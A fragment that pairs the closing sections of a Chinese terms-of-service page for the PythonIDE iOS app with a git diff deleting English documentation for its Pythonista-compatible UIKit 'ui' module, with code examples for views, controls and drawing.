在线 AI 请求可能由 PythonIDE 代理、你选择的提供方或自定义接口处理。不同提供方的可用性、限制、安全系统与数据实践不同。你必须有权发送请求中包含的代码、文件、图片或个人信息。

查看 AI 服务与数据使用说明

+

7. 购买、订阅与奖励

App 内购买由 Apple 通过 StoreKit 处理。价格、税费、付款、续订、支持时的家人共享、取消与退款资格由你的 App Store 商店、Apple 账户与 Apple 条款控制。PythonIDE 会接收验证与恢复权益所需的交易和权益信息。

连续订阅会依据 Apple 规则自动续订,除非你在下一续订前通过 Apple 取消。终身权益是针对受支持 PythonIDE 产品和账户范围的非消耗型权益,并不保证所有未来外部服务、提供方成本或另行标识的产品永远包含在内。

邀请与促销奖励受其公布规则、后台记录、防滥用检查、可用性与兑换说明约束;除非明确说明,否则不可折现。

Apple 的《标准许可应用程序最终用户许可协议》同时适用于本 App 的许可。如本协议与 Apple 对 App 许可的强制条款冲突,以该强制条款为准。

订阅、取消与退款说明 · Apple 标准最终用户许可协议

+

8. 可用性、变更与第三方

我们可能为改进产品、维护安全、遵守法律、响应平台要求或管理技术与服务商限制而新增、变更、暂停、限制或终止功能。在可行时,我们会避免不必要的影响并说明重大变更。

PythonIDE 可链接或连接 Apple 服务、AI 提供方、包索引、网站、代码仓库、文件提供商及其他第三方。我们无法控制其内容、可用性、安全性或条款;你对这些服务的使用发生在你与相应提供方之间。

开源包与随附组件继续受其各自许可证和声明约束。

+

9. 免责声明与责任边界

在适用法律允许的最大范围内,本服务按“现状”和“可用”提供。我们不保证持续不中断、输出无错误、兼容所有依赖或设备、保存每一份本地文件,或适合特定目的。你应保留适当备份,并在安全环境中测试重要代码。

在法律允许的最大范围内,PythonIDE 及其开发者不对间接、附带、特殊、后果性或惩罚性损失,数据、利润、机会或商誉损失,以及因你运行的代码、发布的内容、第三方服务或依据 AI 输出作出的决定造成的损害承担责任。本条不排除依法不得排除的责任,也不限制强制性消费者权利。

如你的行为、内容或违反本协议导致第三方主张或合理成本,你应在适用法律允许范围内承担责任,但因 PythonIDE 自身违约或不当行为造成的部分除外。

+

10. 限制、终止与协议更新

你可以随时停止使用本服务。对于严重或重复违规、安全风险、欺诈、法律要求、未付款或服务停止,我们可在合理必要范围内限制或终止访问;适当时会提供通知或理由并保留申诉途径。所有权、许可记录、付款历史、免责声明与争议条款等按性质应持续有效的内容,在终止后继续适用。

我们可能为反映产品、服务商、法律或安全变化更新本协议,并更新生效日期;重大变更可能在 App 或网站提示。新协议生效后继续使用受影响功能,即表示你接受更新,但法律要求另行同意的除外。

+

11. 适用原则与联系

本协议适用与开发者和交易相关的法律,但不剥夺你依据居住地法律享有的强制性权利。启动正式程序前,请先联系我们,为双方提供合理解决问题的机会;你仍可使用依法不得放弃的消费者保护或争议程序。

如中英文版本存在差异,在法律允许范围内以中文版本为准。

联系

开发者:张文禄 · 邮箱:jinwandalaohu940@gmail.com

+
+
+
+ +
diff --git a/docs/ui-module-en.md b/docs/ui-module-en.md deleted file mode 100644 index 7cba2a8..0000000 --- a/docs/ui-module-en.md +++ /dev/null @@ -1,1093 +0,0 @@ -# Python IDE — UI Module Complete Documentation - -> Pythonista-compatible native iOS UI module. Create UIKit interfaces with Python on iPhone and iPad without installing any additional libraries. - ---- - -## Table of Contents - -1. [Overview](#1-overview) -2. [Architecture](#2-architecture) -3. [Quick Start](#3-quick-start) -4. [View Basics](#4-view-basics) -5. [present and Display](#5-present-and-display) -6. [Button](#6-button) -7. [Label](#7-label) -8. [TextField](#8-textfield) -9. [TextView](#9-textview) -10. [ImageView](#10-imageview) -11. [Switch](#11-switch) -12. [Slider](#12-slider) -13. [SegmentedControl](#13-segmentedcontrol) -14. [DatePicker](#14-datepicker) -15. [ScrollView](#15-scrollview) -16. [TableView](#16-tableview) -17. [WebView](#17-webview) -18. [ActivityIndicator](#18-activityindicator) -18b. [ProgressView](#18b-progressview) -18c. [Stepper](#18c-stepper) -19. [NavigationView](#19-navigationview) -20. [Custom View and Drawing](#20-custom-view-and-drawing) (incl. Path, Image, ImageContext updates) -21. [load_view and load_view_str](#21-load_view-and-load_view_str) -22. [animate and Utility Functions](#22-animate-and-utility-functions) -23. [Constants and Enums](#23-constants-and-enums) -24. [Troubleshooting](#24-troubleshooting) - ---- - -## 1. Overview - -The built-in `ui` module in Python IDE provides native iOS UI capabilities that are highly compatible with [Pythonista](https://omz-software.com/pythonista/). You can create views, buttons, labels, text fields, images, lists, and more in Python scripts, and display them in fullscreen, half-screen sheet, or popover using `present()`. All controls are real UIKit components — no WebView or cross-platform framework required. - -### Key Features - -- **Pythonista compatible**: Common APIs match Pythonista, making script migration straightforward -- **Native UIKit rendering**: All controls are native iOS components with the same performance as system apps -- **No installation**: Use `import ui` directly, built into Python IDE -- **Custom drawing**: Use `draw()`, `ImageContext`, `Path`, and related APIs for custom graphics -- **`.pyui` file support**: Build interfaces from JSON or plist layout files - -### Supported Controls - -| Control | Class | Description | -|---------|-------|-------------| -| Base view | `ui.View` | Base class for all views; supports frame, background color, corner radius, etc. | -| Button | `ui.Button` | Supports title, color, and tap callback | -| Label | `ui.Label` | Single- or multi-line text; font, alignment | -| Text field | `ui.TextField` | Single-line text input | -| Text view | `ui.TextView` | Multi-line editable text; delegate support | -| Image | `ui.ImageView` | Displays images; supports network loading | -| Switch | `ui.Switch` | Boolean toggle | -| Slider | `ui.Slider` | Continuous value from 0 to 1 | -| Segmented control | `ui.SegmentedControl` | Multiple option segments | -| Date picker | `ui.DatePicker` | Date / time / datetime picker | -| Scroll view | `ui.ScrollView` | Scrollable content area; delegate support | -| Table view | `ui.TableView` | List display; data_source, action, delegate | -| Web view | `ui.WebView` | Load URL or HTML; supports eval_js | -| Activity indicator | `ui.ActivityIndicator` | Loading spinner | -| Progress view | `ui.ProgressView` | Linear progress bar (0–1) | -| Stepper | `ui.Stepper` | +/- buttons with range and step | -| Navigation view | `ui.NavigationView` | Stack-based navigation with navigation bar | -| Canvas view | `ui.CanvasView` | Custom drawing; override draw | - ---- - -## 2. Architecture - -### Call Flow - -``` -Python (ui.py) - ↓ ctypes C function calls -Swift (UIBridge.swift) — exports @_cdecl C interfaces - ↓ -Swift (UIModule.swift) — UIViewWrapper, UICallbackManager - ↓ -UIKit (UIView, UIButton, UILabel, ...) -``` - -- **Python side**: `pyboot/ui.py` loads the main app’s symbols via `ctypes.CDLL(None)` and calls C functions like `ui_create_view`, `ui_set_frame`, etc. -- **Swift side**: `UIBridge.swift` exports all `ui_*` C functions and delegates to `UIBridge.shared`. -- **Callbacks**: On user actions (button tap, table row selection, etc.), Swift invokes Python code via `UICallbackManager.triggerCallback`; Python looks up the handler in `ui._callbacks[callbackID]` and runs it. - -### View IDs - -Each view has a unique `view_id` string in Swift. Python holds it in `_view_id`. All property setters and methods pass this ID to C so Swift can locate the corresponding native view. - ---- - -## 3. Quick Start - -### Minimal Example: A View with a Button - -```python -import ui - -# Create root view -v = ui.View() -v.background_color = 'white' -v.frame = (0, 0, 300, 400) - -# Create button -btn = ui.Button(title='Tap Me') -btn.frame = (50, 150, 200, 50) -btn.action = lambda sender: print('Button tapped') - -# Add button to root view -v.add_subview(btn) - -# Present as sheet (bottom half-screen modal) -v.present('sheet') -``` - -**How to run**: Open this script in the Python IDE editor and tap the run button. The native UI appears. - -### With a Title - -```python -import ui - -v = ui.View() -v.background_color = 'white' -v.frame = (0, 0, 320, 480) -v.title = 'My Screen' # Navigation bar title when presented - -btn = ui.Button(title='Close') -btn.frame = (110, 200, 100, 44) -def on_close(sender): - v.close() -btn.action = on_close -v.add_subview(btn) - -v.present('sheet') -``` - ---- - -## 4. View Basics - -Base class for all controls. Provides frame, colors, and subview management. - -### Creation - -```python -v = ui.View() -v = ui.View(frame=(0, 0, 320, 480)) -``` - -### Properties (Full List) - -| Property | Type | Description | -|----------|------|-------------| -| `frame` | `(x, y, width, height)` | Position and size in parent; points (pt) | -| `bounds` | `(x, y, width, height)` | Bounds in own coordinate system; read-only | -| `center` | `(x, y)` | Center point in parent | -| `x` | `float` | frame x (left) | -| `y` | `float` | frame y (top) | -| `width` | `float` | frame width | -| `height` | `float` | frame height | -| `background_color` | `str` or `tuple` | Background color; see color formats below | -| `bg_color` | same | Alias for `background_color` | -| `alpha` | `float` | Opacity, 0.0 (transparent) to 1.0 (opaque) | -| `hidden` | `bool` | Whether the view is hidden | -| `corner_radius` | `float` | Corner radius; 0 = square | -| `border_width` | `float` | Border width | -| `border_color` | `str` or `tuple` | Border color | -| `content_mode` | `int` | Content scaling mode; see `CONTENT_*` constants | -| `tint_color` | `str` or `tuple` | Tint color | -| `flex` | `str` | Autoresizing rules, e.g. `'W'`, `'H'`, `'WH'`, `'TRBL'` | -| `name` | `str` | View name for load_view binding and `view['name']` lookup | -| `touch_enabled` | `bool` | Whether view receives touches; default True | -| `multitouch_enabled` | `bool` | Multi-touch; default False | -| `transform` | `ui.Transform` or `None` | Affine transform | -| `clips_to_bounds` | `bool` | Clip subviews to view bounds | -| `accessibility_label` | `str` | VoiceOver label | -| `accessibility_value` | `str` | VoiceOver value | -| `accessibility_hint` | `str` | VoiceOver hint | -| `title` | `str` | Navigation bar title when presented | -| `left_button_items` | `tuple` | Left bar button items | -| `right_button_items` | `tuple` | Right bar button items | - -### Color Formats - -```python -v.background_color = 'white' # Named -v.background_color = 'red' -v.background_color = (1, 0, 0, 1) # RGBA, 0–1 per channel -v.background_color = (1, 0, 0, 0.5) # Semi-transparent red -v.background_color = '#ff0000' # Hex, 6 or 8 digits -v.background_color = '#ff000080' # With alpha -``` - -### Methods - -| Method | Description | -|--------|-------------| -| `add_subview(v)` | Add view `v` as subview | -| `remove_subview(v)` | Remove subview `v` | -| `remove_from_superview()` | Remove self from parent | -| `bring_to_front()` | Move to front of siblings | -| `send_to_back()` | Move to back of siblings | -| `bring_subview_to_front(subview)` | Bring specific subview to front | -| `send_subview_to_back(subview)` | Send specific subview to back | -| `set_needs_display()` | Mark as needing redraw | -| `set_needs_layout()` | Request layout update | -| `size_to_fit()` | Resize to fit content | -| `point_from_window(point)` | Convert window coords to view coords | -| `point_to_window(point)` | Convert view coords to window coords | - -### Read-Only Properties - -| Property | Type | Description | -|----------|------|-------------| -| `subviews` | `tuple` | All subviews | -| `superview` | `View` or `None` | Parent view | - -### Lookup by Name - -```python -btn.name = 'submit_btn' -found = v['submit_btn'] -``` - -### Example: Card with Corners and Border - -```python -import ui - -card = ui.View() -card.frame = (20, 100, 280, 150) -card.background_color = 'white' -card.corner_radius = 12 -card.border_width = 1 -card.border_color = (0.8, 0.8, 0.8, 1) - -label = ui.Label(text='Card content') -label.frame = (20, 20, 240, 30) -card.add_subview(label) -``` - ---- - -## 5. present and Display - -### present - -```python -v.present(style='fullscreen', animated=True, hide_title_bar=False) -``` - -| Parameter | Type | Description | -|-----------|------|-------------| -| `style` | `str` | `'fullscreen'`, `'full_screen'`, `'sheet'`, `'popover'` | -| `animated` | `bool` | Use transition animation; default True | -| `hide_title_bar` | `bool` | Hide navigation bar; default False | - -### Styles - -- **fullscreen**: Full-screen modal -- **sheet**: Half-screen from bottom; swipe down to dismiss -- **popover**: Popover style (common on iPad) - -### Dismissing - -```python -v.close() # Close this view -ui.close_all() # Close all presented views -ui.close_all(animated=False) -``` - -### Block Until Dismissed - -```python -v.present('sheet') -v.wait_modal() # Blocks until user dismisses -``` - -### NavigationView: Stack Navigation - -```python -import ui - -root = ui.View() -root.background_color = 'white' -root.frame = (0, 0, 320, 480) - -nv = ui.NavigationView(root) -nv.navigation_bar_hidden = False -nv.bar_tint_color = 'white' - -def go_next(sender): - next_view = ui.View() - next_view.background_color = 'white' - next_view.frame = (0, 0, 320, 480) - nv.push_view(next_view, animated=True) - -btn = ui.Button(title='Next') -btn.frame = (110, 200, 100, 44) -btn.action = go_next -root.add_subview(btn) - -nv.present('sheet') -``` - -| Method | Description | -|--------|-------------| -| `push_view(view, animated=True)` | Push a new view onto the stack | -| `pop_view(animated=True)` | Pop current view | - ---- - -## 6. Button - -### Creation - -```python -btn = ui.Button() -btn = ui.Button(title='OK') -btn = ui.Button(frame=(50, 100, 200, 44)) -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `title` | `str` | Button title | -| `title_color` | `str` or `tuple` | Title color | -| `font` | `tuple` or `str` | Font, e.g. `('Helvetica-Bold', 18)` | -| `image` | `ui.Image` | Foreground image | -| `background_image` | `ui.Image` | Background image | -| `enabled` | `bool` | Whether tap is enabled; default True | - -### action Callback - -Called on tap; receives `sender` (the button): - -```python -def on_tap(sender): - print('Tapped:', sender.title) - -btn.action = on_tap -# or -btn.action = lambda s: print(s.title) -``` - -### Full Example - -```python -btn = ui.Button(title='Submit') -btn.frame = (50, 150, 200, 44) -btn.title_color = 'blue' -btn.enabled = True -btn.action = lambda s: print('Submit') -``` - ---- - -## 7. Label - -### Creation - -```python -lbl = ui.Label() -lbl = ui.Label(text='Hello') -lbl = ui.Label(frame=(10, 10, 300, 40)) -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `text` | `str` | Display text | -| `text_color` | `str` or `tuple` | Text color | -| `font` | `(name, size)` | Font, e.g. `('Helvetica', 17)`; `(' ', 17)` = system font | -| `alignment` | `int` | 0 left, 1 center, 2 right | -| `number_of_lines` | `int` | Max lines; 0 = unlimited | -| `line_break_mode` | `int` | Line break mode | -| `adjusts_font_size_to_fit` | `bool` | Shrink font to fit | -| `minimum_scale_factor` | `float` | Min scale when shrinking | - -### Example - -```python -lbl = ui.Label(text='Title') -lbl.frame = (20, 20, 280, 40) -lbl.font = ('Helvetica', 24) -lbl.alignment = 1 -lbl.text_color = 'black' -``` - ---- - -## 8. TextField - -### Creation - -```python -tf = ui.TextField() -tf = ui.TextField(placeholder='Enter text') -tf = ui.TextField(text='Initial value') -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `text` | `str` | Current text | -| `placeholder` | `str` | Placeholder | -| `text_color` | `str` or `tuple` | Text color | -| `font` | `tuple` | Font, e.g. `('Helvetica', 16)` | -| `alignment` | `int` | Alignment | -| `secure` | `bool` | Password input (masked) | -| `keyboard_type` | `int` | Keyboard type | -| `autocapitalization_type` | `int` | Auto-caps (`0` none / `1` words / `2` sentences / `3` all) | -| `autocorrection_type` | `int` | Auto-correct (`0` default / `1` off / `2` on) | -| `spellchecking_type` | `int` | Spellcheck (`0` default / `1` off / `2` on) | -| `clear_button_mode` | `int` | Clear button (`0` never / `1` while editing / `3` always) | -| `return_key_type` | `int` | Return key (`0` default / `4` Search / `9` Done, etc.) | -| `bordered` | `bool` | Show border style | - -### Callbacks - -```python -tf.action = lambda sender: print('Input:', sender.text) # Return / blur -tf.began_editing = lambda sender: print('Editing started') # Focus gained -tf.ended_editing = lambda sender: print('Editing ended') # Focus lost -``` - ---- - -## 9. TextView - -### Creation - -```python -tv = ui.TextView() -tv = ui.TextView(text='Multi-line content') -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `text` | `str` | Text content | -| `editable` | `bool` | Whether editable | -| `selectable` | `bool` | Whether selectable | -| `text_color` | `str` or `tuple` | Text color | -| `font` | `(name, size)` | Font | -| `alignment` | `int` | Text alignment `ui.ALIGN_*` | -| `selected_range` | `(start, length)` | Current selection range | -| `content_size` | `(w, h)` | Read-only, text content size | -| `content_offset` | `(x, y)` | Scroll offset | -| `auto_content_inset` | `bool` | Auto-adjust inset for keyboard | - -### Callbacks - -```python -tv.began_editing = lambda sender: print('Editing started') -tv.ended_editing = lambda sender: print('Editing ended') -``` - -### delegate - -Set an object implementing: - -| Method | Description | -|--------|-------------| -| `textview_did_begin_editing(textview)` | Fired when editing starts | -| `textview_did_change(textview)` | Fired when content changes | -| `textview_did_end_editing(textview)` | Fired when editing ends | - -```python -class MyDelegate: - def textview_did_begin_editing(self, tv): - print('Editing started') - def textview_did_end_editing(self, tv): - print('Editing ended') - -tv = ui.TextView(text='') -tv.delegate = MyDelegate() -``` - ---- - -## 10. ImageView - -### Creation - -```python -iv = ui.ImageView() -iv = ui.ImageView(frame=(0, 0, 200, 200)) -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `image` | `PIL.Image` or `ui.Image` | Image to display | -| `content_mode` | `int` | Scaling mode | - -### Methods - -| Method | Description | -|--------|-------------| -| `load_from_url(url)` | Load image asynchronously from URL | - -### Example - -```python -iv = ui.ImageView() -iv.frame = (20, 20, 280, 200) -iv.load_from_url('https://example.com/image.png') -``` - ---- - -## 11. Switch - -### Creation - -```python -sw = ui.Switch() -sw = ui.Switch(value=True) -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `value` | `bool` | On/off state | -| `enabled` | `bool` | Whether enabled | - -### action Callback - -```python -sw.action = lambda sender: print('Value:', sender.value) -``` - ---- - -## 12. Slider - -### Creation - -```python -sl = ui.Slider() -sl = ui.Slider(frame=(20, 100, 280, 30)) -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `value` | `float` | Current value, 0.0–1.0 | -| `continuous` | `bool` | Fire action continuously while dragging | - -### action Callback - -```python -sl.action = lambda sender: print('Value:', sender.value) -``` - ---- - -## 13. SegmentedControl - -### Creation - -```python -seg = ui.SegmentedControl() -seg.frame = (20, 100, 280, 32) -seg.segments = ['Option A', 'Option B', 'Option C'] -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `segments` | `list` or `str` | Segment titles (list or newline-separated) | -| `selected_index` | `int` | Selected segment index | - -### action Callback - -```python -seg.action = lambda sender: print('Selected:', sender.selected_index) -``` - ---- - -## 14. DatePicker - -### Creation - -```python -dp = ui.DatePicker() -dp.frame = (20, 100, 280, 200) -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `date` | `float` | Selected date as timestamp | -| `mode` | `str` | `'date'`, `'time'`, `'datetime'` | -| `enabled` | `bool` | Whether enabled | - -### action Callback - -```python -dp.action = lambda sender: print('Date:', sender.date) -``` - ---- - -## 15. ScrollView - -### Creation - -```python -sv = ui.ScrollView() -sv.frame = (0, 0, 320, 400) -sv.content_size = (320, 800) -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `content_size` | `(width, height)` | Content size | -| `content_offset` | `(x, y)` | Current scroll offset | -| `content_inset` | `(top, left, bottom, right)` | Content insets | -| `bounces` | `bool` | Bounce effect | -| `always_bounce_horizontal` | `bool` | Always bounce horizontally | -| `always_bounce_vertical` | `bool` | Always bounce vertically | -| `scroll_enabled` | `bool` | Whether scrolling is enabled | -| `paging_enabled` | `bool` | Paging mode | -| `shows_vertical_scroll_indicator` | `bool` | Show vertical scroll indicator | -| `shows_horizontal_scroll_indicator` | `bool` | Show horizontal scroll indicator | -| `zoom_scale` | `float` | Current zoom scale | -| `min_zoom_scale` | `float` | Minimum zoom scale | -| `max_zoom_scale` | `float` | Maximum zoom scale | - -### Methods - -| Method | Description | -|--------|-------------| -| `scroll_to(x, y, animated=True)` | Scroll to offset | - -### delegate - -```python -class MyDelegate: - def scrollview_did_scroll(self, x, y): - print('Scrolled to:', x, y) - -sv = ui.ScrollView() -sv.content_size = (300, 800) -sv.delegate = MyDelegate() -``` - -### Example: Long Content - -```python -sv = ui.ScrollView() -sv.frame = (0, 0, 320, 400) -sv.content_size = (320, 1200) -sv.bounces = True -sv.always_bounce_vertical = True - -lbl = ui.Label(text='Very long text...') -lbl.frame = (10, 10, 300, 1180) -sv.add_subview(lbl) -``` - ---- - -## 16. TableView - -### Creation - -```python -tv = ui.TableView() -tv.frame = (0, 0, 320, 400) -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `data_source` | `list` | Data; see format below | -| `action` | `callable` | Row selection callback | -| `delegate` | `object` | Delegate object | -| `row_height` | `float` | Default row height | -| `editing` | `bool` | Whether in editing mode | -| `selected_row` | `tuple` | Currently selected row `(section, row)` | -| `separator_color` | `str` or `tuple` | Separator line color | -| `allows_selection` | `bool` | Whether selection is enabled | -| `allows_multiple_selection` | `bool` | Whether multi-selection is enabled | -| `delete_enabled` | `bool` | Whether swipe-to-delete is enabled | -| `move_enabled` | `bool` | Whether drag-to-reorder is enabled | - -### data_source Format - -- Flat list: `[{'title': 'A', 'subtitle': 'a'}, {'title': 'B'}]` -- Nested (sections): `[[{...}, {...}], [{...}]]` -- Each item needs `title`; `subtitle` is optional - -### action Callback - -```python -tv.action = lambda sender, section, row: print('Selected', section, row) -``` - -### delegate - -Implement `tableview_did_select(tableview, section, row)`. - -### Methods - -| Method | Description | -|--------|-------------| -| `reload_data()` | Refresh the table | - -### Example - -```python -tv = ui.TableView() -tv.frame = (0, 0, 320, 400) -tv.data_source = [ - {'title': 'Row 1', 'subtitle': 'Detail'}, - {'title': 'Row 2'}, - {'title': 'Row 3', 'subtitle': 'More detail'}, -] -tv.action = lambda s, sec, r: print(f'Section {sec}, Row {r}') -tv.reload_data() -``` - ---- - -## 17. WebView - -### Creation - -```python -wv = ui.WebView() -wv.frame = (0, 0, 320, 400) -``` - -### Methods - -| Method | Description | -|--------|-------------| -| `load_url(url)` | Load URL | -| `load_html(html, base_url=None)` | Load HTML string | -| `go_back()` | Go back | -| `go_forward()` | Go forward | -| `reload()` | Reload | -| `stop()` | Stop loading | -| `eval_js(code, callback=None)` | Run JavaScript; callback receives result | - -### Example - -```python -wv = ui.WebView() -wv.frame = (0, 0, 320, 400) -wv.load_url('https://www.apple.com') -wv.eval_js('document.title', lambda result: print('Title:', result)) -``` - ---- - -## 18. ActivityIndicator - -### Creation - -```python -ai = ui.ActivityIndicator() -ai.frame = (140, 200, 37, 37) -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `animating` | `bool` | Whether spinning | -| `style` | `int` | GRAY, WHITE, WHITE_LARGE | -| `hides_when_stopped` | `bool` | Hide when stopped | - -### Methods - -```python -ai.start() # or ai.start_animating() -ai.stop() # or ai.stop_animating() -``` - ---- - -## 18b. ProgressView - -### Creation - -```python -pv = ui.ProgressView() -pv.frame = (20, 100, 280, 10) -pv.progress = 0.5 # 50% -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `progress` | `float` | Progress value, 0.0 to 1.0 | -| `progress_tint_color` | `str` or `tuple` | Completed portion color | -| `track_tint_color` | `str` or `tuple` | Track (remaining) color | - ---- - -## 18c. Stepper - -### Creation - -```python -st = ui.Stepper() -st.frame = (100, 100, 94, 29) -``` - -### Properties - -| Property | Type | Description | -|----------|------|-------------| -| `value` | `float` | Current value | -| `minimum_value` | `float` | Minimum (default 0) | -| `maximum_value` | `float` | Maximum (default 100) | -| `step_value` | `float` | Step increment (default 1) | -| `continuous` | `bool` | Continuous change on long press | -| `wraps` | `bool` | Wrap around when exceeding range | -| `tint_color` | `str` or `tuple` | Tint color | -| `enabled` | `bool` | Whether enabled | - -### Callback - -```python -st.action = lambda sender: print('Value:', sender.value) -``` - ---- - -## 19. NavigationView - -See [5. present and Display](#5-present-and-display). - ---- - -## 20. Custom View and Drawing - -### Subclass View and Override draw - -```python -class MyView(ui.View): - def draw(self): - pass -``` - -### Touch Callbacks - -| Method | Description | -|--------|-------------| -| `touch_began(touch)` | Finger down | -| `touch_moved(touch)` | Finger moved | -| `touch_ended(touch)` | Finger up | - -`touch` has `location`, `prev_location`, etc. - -### CanvasView and ImageContext - -```python -import ui - -def draw_canvas(canvas): - with ui.ImageContext(200, 200) as ctx: - ui.set_color('red') - ui.fill_rect(0, 0, 200, 200) - ui.set_color('white') - ui.draw_string('Hello', rect=(50, 80, 100, 40)) - img = ctx.get_image() - if img: - canvas.image = img - -cv = ui.CanvasView() -cv.frame = (60, 100, 200, 200) -cv.render = draw_canvas -``` - -### Drawing APIs (Summary) - -| API | Description | -|-----|-------------| -| `ui.set_color(color)` | Set drawing color | -| `ui.fill_rect(x, y, w, h)` | Fill rectangle | -| `ui.stroke_rect(x, y, w, h)` | Stroke rectangle | -| `ui.draw_string(text, rect=(x,y,w,h))` | Draw text | -| `Path.rect(x, y, w, h)` | Rectangle path | -| `Path.oval(x, y, w, h)` | Oval path | -| `Path.round_rect(x, y, w, h, r)` | Rounded rect | -| `path.fill()` / `path.stroke()` | Fill / stroke path | -| `path.move_to(x, y)` / `path.line_to(x, y)` | Line path | -| `path.add_arc(...)` | Arc | -| `path.add_curve(...)` | Bezier curve | -| `path.add_rect(x, y, w, h)` | Rectangle sub-path | -| `path.add_oval(x, y, w, h)` | Oval sub-path | -| `path.copy()` | Deep copy of path | -| `path.hit_test(x, y)` | Test if point is inside path | -| `path.get_bounding_box()` | Bounding rect `(x, y, w, h)` | -| `GState()` | Save / restore state | -| `ui.set_blend_mode(mode)` | Blend mode | -| `ui.set_shadow(...)` | Shadow | - -### ImageContext - -**Method 1: Context manager (recommended)** - -```python -with ui.ImageContext(200, 200) as ctx: - ui.set_color('blue') - ui.fill_rect(0, 0, 200, 200) - img = ctx.get_image() # ui.Image -``` - -**Method 2: Functional API** - -```python -ui.begin_image_context(200, 200) -ui.set_color('red') -ui.fill_rect(0, 0, 200, 200) -img = ui.get_image_from_current_context() # ui.Image -ui.end_image_context() -``` - -### Image Class - -| Entry | Description | -|-------|-------------| -| `ui.Image.named(name)` | Built-in or bundled resource | -| `ui.Image.from_data(data)` | From bytes | -| `ui.Image.from_image_context()` | From current offscreen context | -| `ui.Image(name)` | Equivalent to `Image.named(name)` | - -| Property / Method | Description | -|-------------------|-------------| -| `size` | `(w, h)` | -| `to_png()` | PNG `bytes` | -| `resized(size)` | Resized copy | -| `cropped(rect)` | Cropped copy | -| `crop(rect)` | Crop `(x, y, w, h)`; native implementation | -| `clip_to_mask(mask)` | Clip using another Image's alpha channel | -| `with_rendering_mode(mode)` | Template / original rendering mode | - ---- - -## 21. load_view and load_view_str - -### load_view(name, bindings=None, ...) - -Load layout from file. `name` is the filename (`.pyui` added if omitted). Supports JSON and plist. Searches current working directory and user home. - -```python -v = ui.load_view('MyView') -v = ui.load_view('MyView', bindings={'submit': on_submit}) -``` - -### load_view_str(json_str, bindings=None, ...) - -Load from JSON string: - -```python -json_str = ''' -{ - "UIView": { - "frame": "{{0,0},{320,400}}", - "subviews": [ - {"UIButton": {"frame": "{{50,100},{200,44}}", "title": "OK"}} - ] - } -} -''' -v = ui.load_view_str(json_str, bindings={'submit': on_submit}) -``` - -### frame Format - -In `.pyui`, frame uses `{{x,y},{width,height}}`, e.g. `{{0,0},{320,480}}`. - -### bindings - -Maps names to callables for actions. If JSON has `"action": "submit"`, the binding `submit` is used as the action. - ---- - -## 22. animate and Utility Functions - -### animate - -```python -ui.animate(animation, duration=0.25, delay_sec=0.0, completion=None) -``` - -- `animation`: Callable (no args), runs after `delay_sec` -- `duration`: Seconds; completion runs after this -- `delay_sec`: Delay before animation -- `completion`: Callable, runs after `duration` seconds - -**Note**: The animation callback runs asynchronously; view property changes take effect immediately and do not participate in UIKit transitions. - -### Utility Functions - -| Function | Description | -|----------|-------------| -| `ui.get_screen_size()` | Returns `(width, height)` | -| `ui.get_window_size()` | Window size | -| `ui.get_ui_style()` | `'light'` or `'dark'` | -| `ui.convert_point(point, from_view, to_view)` | Convert point | -| `ui.convert_rect(rect, from_view, to_view)` | Convert rect | -| `ui.measure_string(text, font, max_width)` | Measure text; returns `(width, height)` | -| `ui.close_all(animated=False)` | Close all presented views | -| `ui.dump_view(view)` | Debug: print view hierarchy | -| `ui.delay(sec, fn)` | Run function after delay | -| `ui.in_background(fn)` | Run in background thread | - ---- - -## 23. Constants and Enums - -### Content Mode (CONTENT_*) - -| Constant | Description | -|----------|-------------| -| `ui.CONTENT_SCALE_TO_FILL` | Scale to fill | -| `ui.CONTENT_SCALE_ASPECT_FIT` | Aspect fit | -| `ui.CONTENT_SCALE_ASPECT_FILL` | Aspect fill | -| `ui.CONTENT_REDRAW` | Redraw | -| etc. | Maps to UIView.ContentMode | - -### ActivityIndicator Styles - -| Constant | Description | -|----------|-------------| -| `ui.ACTIVITY_INDICATOR_STYLE_GRAY` | Gray | -| `ui.ACTIVITY_INDICATOR_STYLE_WHITE` | White | -| `ui.ACTIVITY_INDICATOR_STYLE_WHITE_LARGE` | Large white | - ---- - -## 24. Troubleshooting - -### AttributeError: Attribute does not exist - -- Check property name (e.g. `background_color`, not `backgroundColor`) -- Ensure the control supports the attribute - -### Callbacks not firing (action, delegate) - -- Ensure `action` or `delegate` is set correctly -- Check `enabled` is True -- For delegate, use correct method names (e.g. `scrollview_did_scroll`) - -### White screen or crash after present - -- Give root view a valid `frame` (width and height > 0) -- Avoid nesting present calls (e.g. present inside sheet) - -### load_view parse error - -- Ensure valid JSON or plist -- Use frame format `{{x,y},{w,h}}` -- Complex nesting or custom classes may not be fully supported - -### Drawing not visible - -- Call `set_needs_display()` to trigger redraw -- Call `ImageContext.get_image()` inside the `with` block - ---- - -*Document version: 2026-03 · For Python IDE iOS app* diff --git a/docs/ui-module-zh.md b/docs/ui-module-zh.md deleted file mode 100644 index 521bece..0000000 --- a/docs/ui-module-zh.md +++ /dev/null @@ -1,1164 +0,0 @@ -# Python IDE — UI 模块完整文档 - -> Pythonista 兼容的 iOS 原生界面模块。在 iPhone 和 iPad 上使用 Python 创建原生 UIKit 界面,无需额外安装任何库。 - ---- - -## 目录 - -1. [概述](#1-概述) -2. [架构说明](#2-架构说明) -3. [快速开始](#3-快速开始) -4. [View 基础](#4-view-基础) -5. [present 与展示](#5-present-与展示) -6. [Button 按钮](#6-button-按钮) -7. [Label 标签](#7-label-标签) -8. [TextField 单行输入框](#8-textfield-单行输入框) -9. [TextView 多行文本](#9-textview-多行文本) -10. [ImageView 图片视图](#10-imageview-图片视图) -11. [Switch 开关](#11-switch-开关) -12. [Slider 滑块](#12-slider-滑块) -13. [SegmentedControl 分段控件](#13-segmentedcontrol-分段控件) -14. [DatePicker 日期选择器](#14-datepicker-日期选择器) -15. 